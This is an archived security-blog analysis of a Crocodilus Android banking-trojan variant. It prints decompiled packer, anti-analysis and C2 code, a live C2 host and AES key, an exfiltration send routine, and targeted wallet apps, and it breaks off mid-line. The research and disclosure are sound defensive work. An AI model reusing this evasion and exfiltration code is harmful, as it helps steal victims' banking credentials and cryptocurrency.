{
	"id": "9499af79-a5eb-440e-95b8-75dcc599a133",
	"created_at": "2026-04-06T00:14:27.304401Z",
	"updated_at": "2026-04-10T03:30:33.505786Z",
	"deleted_at": null,
	"sha1_hash": "f72ebeb5360ced52a66dbb59df13c9b9270270ef",
	"title": "Blog - Crocodilus - A deep dive into its structure and capabilities",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 847603,
	"plain_text": "Blog - Crocodilus - A deep dive into its structure and capabilities\r\nArchived: 2026-04-05 20:14:19 UTC\r\n16 juil. 2025\r\nAuthor: Paul Viard\r\nIn this article, we will deep dive into internals works and key components of a new evolution of the Crocodilus\r\nAndroid Banking Trojan, discovered by ThreatFabric in March.\r\nThe malware is equipped with various functionalities designed to exfiltrate user credentials, cryptocurrency wallet\r\ndata, and system information from the victim.\r\nWe have focused our research on the Trojan's inner workings, its communication with C2 and some RAT\r\ncommands that we thought would be interesting to explore in greater depth.\r\nInformations Value\r\nSHA256 6d55d90d021b0980528f56d040e78fa7b85a96f5c244e23f330f24c8e80c1cb2\r\nPackage\r\nname\r\nnuttiness.pamperer.cosmetics\r\nStage 1\r\nEntrypoints : aixx.uvoe.pxoq.Iqom (pre-entry) \u0026\r\nloqlhajt.budgetsepia.possiblyanime.Tricepsdial (real-entry)\r\nStage 2\r\nEntrypoints : nuttiness.pamperer.cosmetics.uFAWABASFEFwvh (leanback\r\nlauncher) \u0026 nuttiness.pamperer.cosmetics.NAoCWwqxpyor (real launcher)\r\nState-of-Art\r\nCrocodilus was discovered by ThreatFabric on march 28, 2025. At this time, a list of Bot and RAT commands are\r\nmentioned by the ThreatFabric team. Then, on april 14, 2025, a new Zimperium article mentions the presence of\r\nthe codename \"Pragma Project\" and the use of native libraries in a new variant.Finally, june 03, 2025, Threat\r\nFabric releases a new article on a crocodilus variant with new capabilities, such as adding a new phone number to\r\ncontacts.\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 1 of 34\n\nOur analysis will focus on one of the latest variants to appear with the sha256 hash:\r\n6d55d90d021b0980528f56d040e78fa7b85a96f5c244e23f330f24c8e80c1cb2\r\nAnti-Reversing technique\r\nMalware developers tend to follow a consistent routine in the development of their products. They first build a\r\ncore malicious component, which is later deployed onto the victim's device via another app or through dynamic\r\ncode loading. Before this stage, the developer aims to conceal the APK's behavior for as long as possible using\r\ninitial anti-reversing techniques. In that case, Crocodilus is no exception, using a modified entry inside the APK to\r\nbypass basic tools and certain analysis mechanisms.\r\nPassword protected file\r\nCommon tools like jadx or apktool couldn’t decompress the .apk because of an \"encrypted entry\" .\r\nUsing unzip allowed us to find the *incorrect* file located at the root of the achive:\r\nshell\r\nunzip croco.apk\r\n# ...\r\n extracting: assets/stjgtuurbezeuim.png\r\n inflating: assets/8.mp3\r\n[croco.apk] qyryrzr.png password: #A password is required\r\nUsing 7zip showed us a different output to rule out the possibility of a password:\r\nshell\r\n7z x croco.apk\r\n# ...\r\nERROR: Headers Error : qyryrzr.png\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 2 of 34\n\nAgain, with unzip , qyryrzr.png is the only file with ZIP Version 3 and a different OS of origin:\r\nshell\r\n-rw---- 1.0 fat 1024 b- stor 25-May-19 15:20 assets/stjgtuurbezeuim.png\r\n-rw---- 2.0 fat 12288 bl defN 25-May-19 15:20 assets/8.mp3\r\n-rw-r--r-- 3.0 unx 289 Bx defN 25-May-19 11:20 qyryrzr.png\r\n-rw---- 2.0 fat 51240 b- defN 25-May-19 15:20 META-INF/ALIAS_96.SF\r\nqyryrzr.png had its headers modified preventing tools from directly understanding its content.\r\nFurthermore, while inspecting the device using adb logcat , interesting behavior happened during the\r\ninstallation processes of Crocodilus.\r\nAccording to the ThreatFabric article, Crocodilus uses the package name nuttiness.pamperer.cosmetics .\r\nsh\r\n10-06 06:21:30.266 13611 13611 I Finsky : [2] aksn.c(67): VerifyApps: Install-time verification reque\r\n10-06 06:21:30.292 13611 16520 I Finsky : [141] VerifyAppsInstallTask.mL(52): VerifyApps: Anti-malwa\r\n10-06 06:21:30.352 13611 16520 W Finsky : [141] VerifyAppsInstallTask.S(965): VerifyApps: Error getti\r\n10-06 06:21:30.365 13611 13746 I Finsky : [51] akwr.a(77): VerifyApps: Starting APK Analysis scan fo\r\n10-06 06:21:30.365 13611 13746 I Finsky : [51] akqc.ms(259): Scanning package nuttiness.pamperer.cosm\r\n10-06 06:21:30.367 13611 13746 E Finsky : [51] akwr.a(189): VerifyApps: APK Analysis scan failed for\r\n10-06 06:21:30.367 13611 13746 I Finsky : [51] akwr.a(218): VerifyApps: APK Analysis scan finished fo\r\nBefore we dive deeper into the log snippet above, some background information needs to be clarified.\r\nFinsky is the internal codename for the Google Play Store application on Android devices. It handles application\r\ninstallations, updates, and integrity checks through Google Play Protect (also known as Verify Apps).\r\nVerifyAppsInstallTask is a component that is triggered during app installation. Its role is to scan APK files for\r\npotential malware either before or during the installation process.\r\nIn the log snippet above, an \"invalid CEN header (Encrypted entry)\" error is raised while inspecting the\r\ntemporary file /data/app/vmdl1013385448.tmp . During the installation process, the APK is first copied to a\r\ntemporary location in the /data/app/ directory. Then, Finsky’s VerifyAppsInstallTask parses the APK’s ZIP\r\nstructure, extracts specific files, and computes cryptographic hashes.\r\nHowever, due to changes made to the ZIP structure, in particular to the qyryrzr.png file, Finsky is unable to\r\ninspect the Crocodilus APK correctly.\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 3 of 34\n\nAs a result, Verify Apps mistakenly flags the package nuttiness.pamperer.cosmetics as SAFE.\nAs this file is not accessible for analysis, we conclude that it serves no other purpose than to slow down analysts\nand prevent Google Play Portect from working properly.\nUnderstanding the Manifest\nTools like jadx or apktool converts automatically the AndroidManifest file into a readable format, .xml ,\nbut not unzip .\nThe AndroidManifest.xml file is by default an Android Binary XML which can be parsed with tools like\nAndroguard\nor\naxmldec\n.\nshell\n./axmldec -o ../output_rd_AndroidManifest.xml ../AndroidManifest.xml # convert Android Binary XML int\ncat ../output_rd_AndroiManifest.xml | grep MAIN -n5 # We search for an entry point\nxml\n...\n...\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\nPage 4 of 34\n\nFull AndroidManifest.xml is accessible in Annexes\r\nThe AndroidManifest.xml reveals that the application’s actual Application class is aixx.uvoe.pxoq.Iqom .\r\nThe malware defines two activities with the MAIN action:\r\n- nuttiness.pamperer.cosmetics.NAoCWwqxpyor - nuttiness.pamperer.cosmetics.uFAWABASFEFwvh\r\nInterestingly, the second activity ( uFAWABASFEFwvh ) uses the LEANBACK_LAUNCHER category, typically intended\r\nfor Android TV applications. This unusual choice helps the malware avoid being visible in the standard\r\napplication launcher on mobile devices, making it stealthier during regular use.\r\nThe application explicitly allows unencrypted network traffic by setting android:usesCleartextTraffic=\"true\" .\r\nThis permits HTTP communications, which is highly suspicious in nowadays. In addition, Crocodilus uses this\r\ntraffic to communicate with its C2 and exfiltrate victims' data.\r\nAdditionally, the malware masquerades as the Chrome browser by assigning the label \"Chrome\"\r\n( android:label=\"Chrome\" ) and likely reusing the legitimate Chrome app’s icon to deceive users or security\r\nanalysts.\r\nA particularly deceptive technique is the presence of an activity-alias named\r\nnuttiness.pamperer.cosmetics.TrumpTayyip . This alias also uses the label \"Chrome\" and points to the activity\r\nnuttiness.pamperer.cosmetics.NAoCWwqxpyor . However, it is disabled by default ( android:enabled=\"false\" ),\r\nmeaning the fake Chrome icon remains hidden during initial installation or static analysis. The malware can later\r\ndynamically enable this alias at runtime using Android’s PackageManager APIs, causing the fake Chrome icon to\r\nsuddenly appear, potentially tricking users into launching the malicious application.\r\nStage 1 - Packer Behavior and Dynamic Loading\r\nThe initial stage of the malware functions as a packer, a module responsible for unpacking, decrypting,\r\nand loading the core malicious payload.\r\nThe packer loads a fake .json file that, upon inspection, is not structured as a valid JSON file.\r\nInstead, it contains binary data, specifically, an encrypted DEX file (the second-stage payload).\r\nWe opened the classes.dex file inside jadx-gui to see the java code and have a better understanding of this\r\nmalware.\r\nThrough the different classes and packages listed inside jadx-gui , some are missing - such as\r\nnuttiness.pamperer.cosmetics - which could indicate the use of dynamic code loading or resolution.\r\nDynamic Code Loading\r\nThe malware performs a call to open() following the use of the getAssets() method, which is typically used\r\nto access files bundled in the APK’s assets folder. In this case, the function attempts to load a file at runtime by\r\npassing a filename as a parameter.\r\nThis behavior is implemented in function baggyvagrantly() . This function reads the file specified in the second\r\nargument, and returns a byte array.\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 5 of 34\n\nThis pattern strongly suggests that the malware is loading an encrypted payload from the assets folder. By doing\r\nso, the developer avoids placing malicious code directly in the first stage of the malware, potentially evading static\r\nanalysis and signature-based detection.\r\nHere's the relevant code:\r\njava\r\npublic static byte[] baggyvagrantly(Context context, String filename) throws Exception {\r\nInputStream open = context.getAssets().open(filename);\r\nByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();\r\nbyte[] bArr = new byte[1024];\r\nwhile (true) {\r\ntry {\r\nint read = open.read(bArr);\r\nif (read == -1) {\r\nbreak;\r\n}\r\nbyteArrayOutputStream.write(bArr, 0, read);\r\n} finally {\r\nif (open != null) {\r\nopen.close();\r\n}\r\n}\r\n}\r\nreturn byteArrayOutputStream.toByteArray();\r\n}\r\nThis second argument String filename , is obtained with a special function, monopolysinger , called in\r\nexquisitereborn (the parent function of baggyvagrantly ). We will describe this in the Multiple Obfuscations\r\npart below.\r\nThen, the ByteArray is sent to function oozyoutsource inside the class Outlastunafraid\r\njava\r\nprivate static void exquisitereborn(Context context) {\r\n try {\r\n Outlastunafraid.oozyoutsource(context, Claviclewashout.baggyvagrantly(context, monopolysi\r\n } catch (Exception e) {\r\n }\r\n }\r\nTo understand how the filename is retrieved with monopolysinger and how the ByteArray is sent to be load at\r\nruntime, we will need to bypass some obfuscation techniques.\r\nMultiple Obfuscations\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 6 of 34\n\nWe are now certain of the presence of dynamically loaded code, and in this part, we will see how the file is read\r\nand how its content is transferred through multiple functions to increase the analysis difficulty.\r\nStrings\r\nThe String filename parameter used previously by the function baggyvagrantly , is set by the\r\nmonopolysinger() function, where a simple XOR operation is applied to the decimal array [124, 115, 115,\r\n59, 127, 102, 122, 123] using the decimal key 21 .\r\nAfter decryption, the resulting filename is \"iff.json\" , which points to a raw binary file disguised with a\r\n.json extension.\r\njava\r\nprivate static String monopolysinger() {\r\n byte[] filename_buffer = {124, 115, 115, 59, 127, 102, 122, 123};\r\n for (int i = 0; i \u003c 8; i++) {\r\n filename_buffer[i] = (byte) (filename_buffer[i] ^ 21);\r\n }\r\n return new String(filename_buffer);\r\n }\r\nThe key is declared as a private static final byte \u003crandom_word\u003e . Using regex inside jadx-gui told us that\r\n21 is the same key for every encrypted strings.\r\nJava Declaration Regex Rule\r\nprivate static final byte\r\nrandomName = 21;\r\nprivate\\s+static\\s+final\\s+byte\\s+([a-zA-Z_][a-zA-Z0-\r\n9_]*)\\s*=\\s*21\\s*;\r\nWe used another regex rule to detect every decimal array in the code. It matches sequences like {12, 45, 78} or\r\narrays containing Byte.MAX_VALUE . This pattern is implemented inside a Python script to de-obfuscate the strings.\r\nThe regex used is:\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 7 of 34\n\nshell\r\nr \"\\{\\s*(?:\\d+|Byte\\.MAX_VALUE)(?:\\s*,\\s*(?:\\d+|Byte\\.MAX_VALUE))*\\s*\\}\"\r\nHere is a list of decrypted strings found inside the malware:\r\n[iff.json, mClassLoader, AES/CBC/PKCS5Padding, mLoadedApk, gullyclosure.dex]\r\nThe python script can be found in the Annexes.\r\nControl Flow Obfuscation\r\nTo understand how the content of iff.json (ByteArray) is used, we followed the execution flow after\r\nexquisitereborn starting from oozyoutsource , through several wrapper functions before reaching the\r\nmain_logic function.\r\nThese _wrappers_ transfers control or data to the principal code segment and serves as an obfuscation layer — a\r\nknown technique used to confuse analysts and hinder static analysis.\r\njava\r\nprivate static void exquisitereborn(Context context) {\r\ntry {\r\nOutlastunafraid.oozyoutsource(context, Claviclewashout.baggyvagrantly(context, monopo\r\n} catch (Exception e) {\r\n}\r\n}\r\npublic static void oozyoutsource(Context context, byte[] bArr) {\r\nPenalizeunvalued.delusionboss(context, bArr);\r\n}\r\npublic static void delusionboss(Context context, byte[] bArr) {\r\nlegacypatronage(context, bArr);\r\n}\r\nprivate static void legacypatronage(Context context, byte[] bArr) {\r\ngradedalmost(context, bArr);\r\n}\r\nprivate static void gradedalmost(Context context, byte[] bArr) {\r\nslathersponsor(context, bArr);\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 8 of 34\n\n}\r\nprivate static void slathersponsor(Context context, byte[] bArr) {\r\nGroupedpecan.to_other_wrappers(context, bArr);\r\n}\r\nprivate static void to_other_wrappers(Context context, byte[] bArr) {\r\nmain_logic(context, bArr);\r\n}\r\nprivate static void main_logic(Context context, byte[] bArr) {\r\ntry {\r\nFileManager.write(context, \"gullyclosure.dex\", AESCrypt.setup_AES_decrypt(context, bA\r\n}\r\nIn order to confuse the analyst, the ByteArray value, byte[] bArr , is transferred through several functions and\r\nclasses, and finally in main_logic where it will be decrypted .\r\nFunction main_logic uses AES decryption routine to write a new DEX file on the device, this routine will be\r\nexplains in the following section.\r\nAES Decryption\r\nAfter bypassing the control flow obfuscation, the final function main_logic is accessed. main_logic , renamed\r\nfrom its obfuscated name favorablechevron , performs AES decryption on the contents of iff.json and writes\r\nthe result to a new file named gullyclosure.dex .\r\njava\r\nprivate static void main_logic(Context context, byte[] bArr) {\r\ntry {\r\nFileManager.write(context, \"gullyclosure.dex\", AESCrypt.setup_AES_decrypt(context, bA\r\n}\r\nInside setup_AES_decrypt() , a key is extracted from iff_json_bytes by taking bytes 32 to 48, an IV from\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 9 of 34\n\nbytes 48 to 64, and the ciphertext from byte 72 to the end of the array. Then the ciphertext is decrypted using\r\n\"AES/CBC/PKCS5Padding\" .\r\nKey\r\n(Bytes 32 - 47)\r\nIV\r\n(Bytes 48 - 63)\r\nData\r\n(Bytes 72 - EOF)\r\nBytes 0 - 31\r\nBytes 64 - 71\r\nAccording to diskmfr documentation:\r\n\"after receiving the raw data, the data must first be clustered. If the length of the cluster does not meet\r\nthe cluster conditions, it is necessary to supplement and finally form a series of clusters when using the\r\nencryption and decryption algorithm, encryption, and decryption of the multiple groups.\"\r\njava\r\n...\r\n \r\npublic static byte[] setup_AES_decrypt(Context context, byte[] iff_json_bytes) throws Exception {\r\nbyte[] key = extract_key(iff_json_bytes);\r\nbyte[] IV = extract_iv(iff_json_bytes);\r\nreturn glorylandlord(decrypt_AES(crt_cipher_instance(key, IV), content_enc(iff_json_bytes)),\r\n}\r\n...\r\n private static Cipher crt_cipher_instance(byte[] key, byte[] IV) throws Exception {\r\nCipher instance = Cipher.getInstance(\"AES/CBC/PKCS5Padding\");\r\ninstance.init(2, new SecretKeySpec(key, \"AES\"), new IvParameterSpec(IV));\r\nreturn instance;\r\n}\r\nAfter using CyberChef, we are able to confirm our assumptions on the true nature of iff.json because of the\r\nfirst bytes read, the dex signature:\r\nA python script can be found in the Annexes to automatically extract the second-stage dex file.\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 10 of 34\n\nDynamic Class Loading \u0026 Self Deletion\r\nNow that we have reviewed the different steps to obtain a new clean DEX file, this section will focus on the\r\nruntime loading of stage 2.\r\nUsing the list of strings de-obfuscated, two unused strings: \"mLoadedApk\" \u0026 \"mClassLoader\" are searched in\r\njadx-gui .\r\nThe code in wrp_class_loader() is a reflective Java code designed to replace the default ClassLoader of an\r\nAndroid app at runtime with a different one (see next paragraph).\r\njava\r\n \r\n private static String mLoadedApk() {\r\nbyte[] bArr = {120, 89, 122, 116, 113, 112, 113, 84, 101, 126};\r\nfor (int i = 0; i \u003c 10; i++) {\r\nbArr[i] = (byte) (bArr[i] ^ 21);\r\n}\r\nreturn new String(bArr);\r\n}\r\n \r\nprivate static String mClassLoader() {\r\nbyte[] bArr = {120, 86, 121, 116, 102, 102, 89, 122, 116, 113, 112, 103};\r\nfor (int i = 0; i \u003c 12; i++) {\r\nbArr[i] = (byte) (bArr[i] ^ 21);\r\n}\r\nreturn new String(bArr);\r\n}\r\n \r\npublic static void wrp_class_loader(Application application, ClassLoader classLoader) {\r\ntry {\r\nField loadedApk = Application.class.getDeclaredField(mLoadedApk());\r\nloadedApk.setAccessible(true);\r\nObject loadedApkObj = loadedApk.get(application);\r\nField classLoaderField = loadedApkObj.getClass().getDeclaredField(mClassLoader());\r\nclassLoaderField.setAccessible(true);\r\nclassLoaderField.set(loadedApkObj, classLoader);\r\n} catch (Exception e) {\r\nthrow new RuntimeException(e);\r\n}\r\n}\r\nThe parent function riptideyapping injects a new PathClassLoader to dynamically loads the DEX file\r\n\"gullyclosure.dex\" . After the DEX file is loaded, the function deletes it from the disk, leaving only the\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 11 of 34\n\ndecrypted version of iff.json in memory.\r\njava\r\nprivate static void riptideyapping(Context context) {\r\ntry {\r\nFile file = new File(context.getCodeCacheDir(), \"gullyclosure.dex\");\r\nUnpaidpopsicle.wrp_class_loader((Application) context, new PathClassLoader(file.getAb\r\nif (file.exists()) {\r\nfile.delete();\r\n}\r\n}\r\nAfter we discovered how iff.json is used to create a new DEX file and how it is loaded into memory, we\r\nwanted to understand the application's life cycle and find its entry points.\r\nEntry points\r\nBy backtracking through the execution flow, we pinpointed the entry points that initiated the execution of the\r\nprevious two functions - exquisitereborn \u0026 riptideyapping .In the class Tricepsdial inside package\r\nloqlhajt.budgetsepia.possiblyanime , two important functions are present, attachBaseContext and\r\nonCreate .\r\nOn one hand, attachBaseContext reads the iff.json file from the assets folder and decrypts its content into\r\na DEX file. On the other hand, onCreate dynamically loads this DEX file and then deletes it from the disk.\r\njava\r\n @Override\r\nprotected void attachBaseContext(Context context) {\r\nsuper.attachBaseContext(context);\r\ntry {\r\nwrp_to_exquisitereborn(context);\r\n} catch (Exception e) {\r\n}\r\n}\r\n@Override\r\npublic void onCreate() {\r\nsuper.onCreate();\r\ntry {\r\nwrp_to_riptideyapping(this);\r\n} catch (Exception e) {\r\nthrow new RuntimeException(\"Error in onCreate\", e);\r\n}\r\n}\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 12 of 34\n\nBased on the documentation of Application.onCreate() , the Application object’s onCreate() method is called\r\nbefore any activity, service, or receiver objects (except content providers) are created. However, according to this\r\nmedium post\r\n, attachBaseContext is executed before onCreate happens.\r\nTo summarize, attachBaseContext is executed firstly and calls exquisitereborn to write a new DEX file.\r\nThen, onCreate calls riptideyapping to load dynamically gullyclosure.dex .\r\nHowever, in the AndroidManifest.xml, the application’s name is \"aixx.uvoe.pxoq.Iqom\" . Inside this class,\r\nonly one noteworthy method is present: attachBaseContext . This function redirects the execution flow to the\r\nclass VzxfOopr :\r\njava\r\nprotected void attachBaseContext(Context context) {\r\n super.attachBaseContext(context);\r\n try {\r\n VzxfOopr.launchEntryPoint(context);\r\n \r\n }\r\n}\r\nWithin VzxfOopr , the launchEntryPoint method decodes an obfuscated string that points to the real entry point\r\nalready identified: loqlhajt.budgetsepia.possiblyanime .\r\njava\r\npublic static void launchEntryPoint(Context context) throws Exception {\r\n Application realEntryClass = UpjhXstm.wrp_getConstructor(JqdpYvbo.decrypt_class_name());\r\n TcpgBhas.wrp_invoke(BgghYzva.wrp_set_accessible(), realEntryClass, context);\r\n App_Create.wrp_onCreate(realEntryClass);\r\n}\r\nFinally, the last line invoked the attachBaseContext method of the possiblyanime class.\r\nThis execution chain is clearly designed to conceal the packer’s true entry point for as long as possible. However,\r\nas shown in this case, it could still be uncovered by carefully backtracking through the execution flow.\r\nStage 2\r\nThe second stage of the malware acts as a RAT (Remote Access Trojan). Its primary goals is to enable\r\nthe Accessibility service, communicates with the C2 server, and extracts confidential data from the\r\ndevice.\r\nUsing a python script (available at \"stage two extraction\" in Annexes), we decrypted the iff.json file\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 13 of 34\n\ninto a new DEX file -\u003e gullyclosure.dex .\r\nThis time, nuttiness.pamperer.cosmetics and the LAUNCHER of the malware are inside the class\r\nuFAWABASFEFwvh .\r\njava\r\npublic void onCreate(Bundle bundle) {\r\nsuper.onCreate(bundle);\r\nthis.WyeYYVjhhMdbqG.toLog(\"\u003e\u003e\u003eSTART\u003c\u003c\u003c\", \"\u003c\u003c START CROCODILE BOT 2025 \u003e\u003e **** YOU LUCAS STEFA\r\nfinish();\r\nObfuscation\r\nThis malware uses the class nuttiness.pamperer.cosmetics.xaWvaIufkin.sIbsaRKoVR to store all the strings it\r\nneeds inside arbitrarily named variables.\r\nWithin this class, four types of content can be found: plaintext values, Base64-encoded values, RAT command\r\nstrings and empty variables.\r\nHere's the relevant code:\r\njava\r\npublic void onCreate(Bundle bundle) {\r\nsuper.onCreate(bundle);\r\nthis.WyeYYVjhhMdbqG.toLog(\"\u003e\u003e\u003eSTART\u003c\u003c\u003c\", \"\u003c\u003c START CROCODILE BOT 2025 \u003e\u003e **** YOU LUCAS STEFA\r\nfinish();\r\n```\r\n### Obfuscation\r\nThis malware uses the class `nuttiness.pamperer.cosmetics.xaWvaIufkin.sIbsaRKoVR` to store all the st\r\nWithin this class, four types of content can be found: plaintext values, Base64-encoded values, RAT c\r\nHere's the relevant code:\r\n```java\r\npublic static String QureAhrrkvrWdYVcIt = \"Chrome 2.0.4 Update\";\r\n \r\n \r\npublic static String c2_url = \"http://rentvillcr.homes\";\r\nprivate static final Map\u003cString, String\u003e xDtdOHuUatEIiIh;\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 14 of 34\n\npublic String GRMeEoEOOJSiCc;\r\n \r\npublic String[] android_version;\r\npublic String QbaaRTdTCPYDknVe;\r\npublic final String TTYvIcxiTOwabQ;\r\npublic String UOtETXdmbozp;\r\npublic String dfWLXNNCwtKiQb;\r\npublic String flkJjpkKyxMv;\r\npublic String iKWgdxbvoimhekUY = \"O6155FI2SXZ\";\r\npublic String ZpswOiujEheim = \"TCL9CLSKDLX12\";\r\npublic String OGETrbPXJNthc = base64decode(\"LCJleGl0IjoiIg==\");\r\npublic String lbXSkjppXRZdyV = base64decode(\"LCJleGl0IjoidHJ1ZSI=\");\r\npublic String pGUkvXZvaYguSmuye = \"852147414735\";\r\npublic String jjYHMEVwGSNSlwc = \"864512532655\";\r\npublic String NknlBDFjiriGaDfQ = \"154856895422\";\r\nSharedPreferences\r\nSharedPreferences are used to store several values for the malware and to keep them across device reboots. For\r\ninstance, Crocodilus stores the C2 url, 2FA codes stolen, cryptocurrency keys etc.\r\nAccording to the Android documentation:\r\n\" SharedPreferences object points to a file containing key-value pairs and provides simple methods to\r\nread and write them.\"\r\nThe following function is used to set a specific key-value pairs inside FilesSettings :\r\njava\r\npublic void set_sharedPreferences(Context context, String key, String value) {\r\nSharedPreferences.Editor edit = context.getSharedPreferences(\"FilesSettings\", 0).edit();\r\nedit.putString(key, value);\r\nedit.apply();\r\n}\r\nA non-exhaustive list of the settings used can be found in the annexes.\r\nThe SharedPreferences are important for the malware as we will see in the Cryptocurrency Wallets and the\r\nInteresting RAT commands parts.\r\nAccessibility Service\r\nTo be fully operational, crocodilus requires accessibility service. This is one of the most important permissions in\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 15 of 34\n\nthe user environment.\r\nAccording to the Android documentation:\r\n\"An _accessibility service_ is an app that enhances the user interface to assist users with disabilities or\r\nwho might temporarily be unable to fully interact with a device.\"\r\nThe accessibility permission for the malware is asked to the user through an Android WebView. The HTML\r\ncontent of the WebView is then decoded from a base64 variable :\r\njava\r\nthis.base64_HTML_content = \"PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5n .... \";\r\nWe decoded the HTML content and the JavaScript which aims to enable Accessibility permission on the app.\r\njavascript\r\nfunction openSettings() {\r\ntry {\r\n if (typeof Android !== 'undefined' \u0026\u0026 Android.openAccessibilitySettings) {\r\n android.openAccessibilitySettings();\r\n } else {\r\n alert('This feature is only available in the Android app.');\r\n }\r\n} catch (e) {\r\n console.error('Error opening accessibility settings', e);\r\n}\r\n}\r\nThis WebView tries to fool the user by showing a fake chrome page.\r\nOnce the victim has accepted the accessibility service, the malware can performs any user action on the device,\r\nsuch as opening settings, retrieving text from the screen, etc.\r\nThe class nuttiness.pamperer.cosmetics.iRhkqgbpsuK.dNCGxurzQUjoF extended the Accessibility Service and is\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 16 of 34\n\nresponsible for the execution of RAT commands.\r\nBy overriding the onAccessibilityEvent function from\r\nandroid.accessibilityservice.AccessibilityService , the malware performed different actions based on the\r\neventType value. These eventType correspond to actions generated by the user or by the malware itself.\r\nThe malware can generate several events in order to activate a specific behavior using for instance,\r\nGlobalAction :\r\nCommunication \u0026 Encryption\r\nBeing a RAT, the malware relies essentially on active communication with its server. Being able to understand and\r\nextract the information sent between the device and C2 can help us better understand Crocodilus behavior.\r\nThe DEX file being enormously obfuscated, we focused on is communication with the C2.\r\nThe C2 URL can be found in the nuttiness.pamperer.cosmetics.xaWvaIufkin.sIbsaRKoVR class mentioned\r\nabove in the Obfuscation section.\r\njava\r\npublic static String c2_url = \"http://rentvillcr.homes\"`\r\nAfter a string manipulation, the function ZXHBViDpMjIob creates a new WebSocket to rentvillcr[.]homes on\r\nport 8080 .\r\njava\r\nString c2_url = Core_App.get_sharedPreferences(this, new_list_commands.c2_URL);\r\nlist_commands new_list_commands2 = new_list_commands;\r\nString replaceFirst = c2_url.replaceFirst(\"http://\", \"\");\r\nthis.httpClientok = new OkHttpClient();\r\nRequest.Builder builder = new Request.Builder();\r\nwebSocket = this.httpClientok.newWebSocket(builder.url(\"ws://rentvillcr.homes:8080\").build(), new Web\r\nOthers occurrences of c2_url led us to the encryption routine of the communication. All inputs and outputs are\r\nencrypted using strings manipulation and AES algorithm. Then the content is sent to\r\nhttp[:]//rentvillcr[.]homes/Pragmatical .\r\njava\r\npublic static String encrypt_communication(Context context, String str) {\r\ntry {\r\nString content_to_send = wrp_AES_ENCRYPT(str);\r\nString content_received = COM_C2.send(\"http://rentvillcr.homes/Pragmatical\", content_\r\nif (content_received != null) {\r\nreturn AES_DECRYPT(content_received);\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 17 of 34\n\n}\r\n...\r\n}\r\nThe hard-coded string \"DBeYRNqiFnsyGpY8\" is the secret key used for both AES encryption and decryption.\r\njava\r\npublic static String AES_ENCRYPT(String content_com) {\r\nreturn AES.encrypt(content_com, \"DBeYRNqiFnsyGpY8\");\r\n}\r\nThe AES encryption is followed by several strings manipulation and base64 encoding. Listing all the\r\nmodifications of the content helped us to build a script to decrypt Crocodilus requests.\r\nThe encryption method used is AES/CBC/PKCS5Padding . The IV is a 16 byte array randomly generated.\r\njava\r\nCipher instance = Cipher.getInstance(\"AES/CBC/PKCS5Padding\");\r\nSecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), \"AES\");\r\nbyte[] bArr = new byte[16];\r\nnew SecureRandom().nextBytes(bArr);\r\ninstance.init(1, secretKeySpec, new IvParameterSpec(bArr));\r\nThen, the data and IV are encoded using base64 2 times.\r\njava\r\nString encodeToString = Base64.encodeToString(instance.doFinal(content_to_encrypt.getBytes()), 2);\r\nString encodeToString2 = Base64.encodeToString(bArr, 2);\r\nString encodeToString3 = Base64.encodeToString(encodeToString.getBytes(), 2);\r\nString encodeToString4 = Base64.encodeToString(encodeToString2.getBytes(), 2);\r\nNext, a string reversal is applied to double-encoded Base64 string (ciphertext \u0026 IV).\r\njava\r\nString sb = new StringBuilder(encodeToString3).reverse().toString();\r\nhttps://shindan.io/blog/crocodilus-a-deep-dive-into-its-structure-and-capabilities\r\nPage 18 of 34\n\nString sb2 = new StringBuilder(encodeToString4).reverse().toString();\r\nIn addition, both of the variables are again base64 encoded.\r\njava\r\nString encodeToString5 = Base64.encodeToString(sb.getBytes(), 2);\r\nString encodeToString6 = Base64.encodeToString(sb2.getBytes(), 2);\r\nFinally, encrypted and obfuscated data are inserted into a JSONObject under disguised keys: carFileDoesnt for\r\nthe data and miniature for the IV .\r\njava\r\nJSONObject jSONObject = new JSONObject();\r\njSONObject.put(QYHtUBHmfpSDTM.str_carFileDoesnt, encodeToString5);\r\njSONObject.put(QYHtUBHmfpSDTM.str_miniature, encodeToString6);\r\nreturn jSONObject.toString();\r\nCryptocurrency Wallets\r\nThe main mission of Crocodilus is to steal cryptocurrency-related data from the device.\r\nThe malware specifically targets two critical components within cryptocurrency wallets: private keys and seed\r\nphrases. It extracts them using distinct regular expressions tailored for each case. Afterwards, the malware stores\r\nthese sensitive components in the app’s Shared Preferences, using two distinct keys.\r\nThe names of the targeted applications are received dynamically through the C2 server. However, At least three\r\nspecific applications are consistently targeted:\r\njava\r\n \r\npublic String cryptoTarget = \"io.metamask\";\r\n \r\npublic String cryptoTarget2 = \"app.phantom\";\r\n \r\npublic String 